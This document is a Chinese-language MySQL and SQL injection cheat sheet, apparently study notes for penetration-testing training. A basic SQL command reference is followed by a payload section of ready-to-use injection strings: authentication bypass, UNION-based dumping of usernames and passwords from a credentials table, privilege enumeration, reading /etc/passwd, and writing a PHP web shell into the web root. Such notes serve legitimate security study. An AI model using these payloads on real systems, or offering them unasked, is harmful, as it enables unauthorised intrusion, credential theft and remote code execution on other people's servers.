- 列出可用的数据库
SHOW DATABASE;
- 切换到数据库
USE table_name
表
- 添加新表
CREATE TABLE logins (id INT, ...)
- 列出当前数据库中的可用表
SHOW TABLES;
- 显示表属性和列
DESCRIBE logins
- 将值添加到表
INSERT INTO table_name VALUES (value_1,...)
- 将值添加到表中的特定列
INSERT INTO table_name(colums2,...) VALUES(column2_value, ...)
- 更新表值
UPDATE table_name SET column1=newvalue1,...WHERE <CONDITION>
列
- 显示表格中的所有列
SELECT * FROM table_name
- 显示表格中的特定列
SELECT column1, column2 FROM table_name
- 删除表
DROP TABLE logins
- 添加新列
ALTER TABLE logins ADD newColumn INT
- 重命名列
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn
- 更改列数据类型
ALTER TABLE logins MODIFY oldColumn DATE
- 删除列
ALTER TABLE logins DROP oldColumn
输出
- 按列排序
SELECT * FROM logins ORDER BY column_1
- 按列降序排序
SELECT * FROM logins ORDER BY column_1 DESC
- 按两列排序
SELECT * FROM logins ORDER BY column_1 DESC, id ASC
- 只显示前两个结果
SELECT * FROM logins LIMIT 2
- 只显示从索引2开始的前两个结果
SELECT * FROM logins LIMIT 1,2
- 列出满足条件的结果
SELECT * FROM table_name WHERE <condition>
- 列出名称与给定字符串相似的结果
SELECT * FROM logins WHERE username LIKE 'admin%'
MySQL运算符优先级
- 除法(/)、乘法(
*
)和模数(%) - 加法(+)和减法(-)
- 比较(=,>,<,<=,>=,!=,LIKE)
- 不是(!)
- 与(&&)
- 或(||)
Payload
身份验证绕过
- 基本身份认证绕过
admin' or '1'='1
- 带注释的基本身份验证绕过
admin')-- -
union injection
- 使用检测列数 order by
' order by 1-- -
- 使用联合注入检测列数
cn' UNION select 1,2,3-- -
- 基本联合注入
cn' UNION select 1,@@version,3,4-- -
- 4列联合注入
UNION select username, 2, 3, 4 from passwords-- -
数据库枚举
- 带查询输出的指纹 MySQL
SELECT @@version
- 没有输出的指纹 MySQL
SELECT SLEEP(5)
- 当前数据库名称
cn' UNION select 1,database(),2,3-- -
- 列出所有数据库
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
- 列出特定数据库中的所有表
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
- 列出特定表中的所有列
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
- 从另一个数据库中的表转储数据
cn' UNION select 1, username, password, 4 from dev.credentials-- -
特权
- 查找当前用户
cn' UNION SELECT 1,user(),3,4-- -
- 查找用户是否具有管理员权限
cn' UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user="root"-- -
- 查找是否所有用户权限
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -
- 查找可以通过 MySQL 访问的目录
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
文件注入
- 读取本地文件
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
- 将字符串写入本地文件
select 'file written successfully!' into outfile '/var/www/html/proof.txt'
- 将 web shell 写入基本 web 目录
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -